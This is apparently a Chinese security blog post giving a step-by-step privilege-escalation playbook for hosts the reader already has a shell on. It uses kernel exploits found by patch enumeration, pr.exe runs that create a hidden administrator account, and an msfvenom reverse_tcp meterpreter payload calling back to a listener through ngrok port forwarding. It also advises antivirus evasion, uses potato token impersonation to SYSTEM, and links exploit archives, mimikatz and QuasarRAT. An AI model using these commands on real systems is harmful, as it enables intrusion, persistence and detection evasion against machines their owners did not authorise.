不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

利用系统溢出漏洞提权

溢出漏洞提权是利用目标操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权

一、Windows 溢出提权

#Windows查看补丁信息,或者直接systeminfo wmic qfe get Caption,description,hotfixid,installedon


1.提权辅助工具windows-exploit-suggester

项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Windows-Exploit-Suggester通过下载微软公开漏洞库报道到本地xls文件,然后根据操作系统版本,与systeminfo的信息进行对比对从而判断目标可能存在的溢出漏洞,需要注意的是并非所有输出的漏洞都可以利用,实践出真知。使用方法如下:
# 更新漏洞库,更新完成后会在统计目录生成包含截至目前windows所有漏洞信息 python2 windows-exploit-suggester.py --update

在目标主机上执行命令systeminfo并将输出的结果保存为一个txt文件。

# 对比补丁情况得到目标可能存在的漏洞 python2 windows-exploit-suggester.py --database 2020-05-28-mssb.xls  --system systeminfo.txt
根据返回的结果和提供的EXP地址进行漏洞利用完成提权。

Windows提权漏洞利用工具

项目地址:https://github.com/SecWiki/windows-kernel-exploits/
该项目集成了大部分windows溢出漏洞提权的EXP,可直接利用。

一般来说每个版本的服务都有成功高且稳定的漏洞,遇见这些版本的服务器在没有打补丁的情况下优先使用对应的漏洞提权:
Windows2003:pr、巴西烤肉、2018-8020 Windows2008:利用 ms16-075劫持token(烂土豆) Windows 2012/2016:ms18-8120

例:PR提权
拿到shell后上传cmd.exe和pr.exe,在菜刀终端窗口输入命令进行提权,如果目标不允许上传exe文件,这里也可以上传其他的格式。有Windows识别的是文件PE结构,所以并不影响执行:

C:\inetpub\target\uploadlabs\upload\pr.exe "whoami"

回显system,提权成功

 

利用返回的system权限创建账号:

C:\Inetpub\wwwroot\8099\pr.exe "net user xy 123 /add && net localgroup administrators xy /add"

提权成功:


Linux 溢出提权

uname -r #查看内核版本,找对应漏洞

项目地址:https://github.com/SecWiki/linux-kernel-exploits/

根据内核版本找对应的漏洞

 


MSF提权

MSF的后渗透模块十分强大,个人以为利用MSF提权相对于一个EXP一个EXP的去打目标主机要显得温柔很多。MSF提权的大致步骤如下:

1.生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe > /root/a.exe

2.端口转发
实战情况下MSF处于本地内网,目标的会话无法直接反弹到本地。利用ngrock等工具实现端口转发

3.payload做免杀
如果目标主机存在较强的WAF,无法直接建立会话,那么就需要对payload进行免杀。免杀的方法很多,但是强大的不多。

4.建立监听

use exploit/multi/handler set payload windows/meterpreter/reverse_tcpset lhost 192.168.1.5 set lport 1122 run

5.在目标机器上运行生成的payload,主机上线

6.拿到会话开始提权

#查看权限 getuid #尝试自动提权,一般都没法成功 getsystem #挂起会话 background #查看会话列表 sessions -l


MSF漏洞发现模块

#查找补丁缺失模块,会返回一些漏洞可直接利用 use post/windows/gather/enum_patches set session x run #这个模块慢一点,但是相对上面那个更稳定 use post/multi/recon/local_exploit_suggester set session xrun

从返回的漏洞列表寻找最合适的漏洞进行利用,例如:

use exploit/windows/local/ms15_051_client_copy_image set session 3 run

返回高权限会话,提权成功:


MSF烂土豆劫持token提权(ms16_075)

session -i 3 #调用session upload /root/potato.exe  #上传potato dir use incognito  #调用token劫持模块 list_tokens -u #查看可用的session execute -cH -f ./potato.exe #执行(没返回就多搞几次) impersonate_token "NT AUTHORITY\SYSTEM" #导入权限,成功提权。会返回一个system权限的会话 #如果杀软对potato.exe 下手,只有改后缀或者找免杀版本
# 常见漏洞EXP网站 https://exploit-db.com https://packetstormsecurity.com https://packetstormsecurity.com/search/?q=ms15-057 https://www.securityfocus.com/ https://www.securityfocus.com/bid http://1337day.com http://0day.today http://seclists.org/fulldisclosure http://exploitsearch.net http://www.securiteam.com http://metasploit.com/modules http://securityreason.com https://cxsecurity.com/exploit http://securitytracker.com

#提权项目合集: https://github.com/lyshark/Windows-exploits https://github.com/SecWiki/windows-kernel-exploits https://github.com/klsfct/getshell https://github.com/ianxtianxt/win-exp- https://github.com/uknowsec/SweetPotato https://github.com/uknowsec/getSystem https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites
#其他https://github.com/quasar/QuasarRAT/releases https://github.com/gentilkiwi/mimikatz/releases
赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 利用系统溢出漏洞提权

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏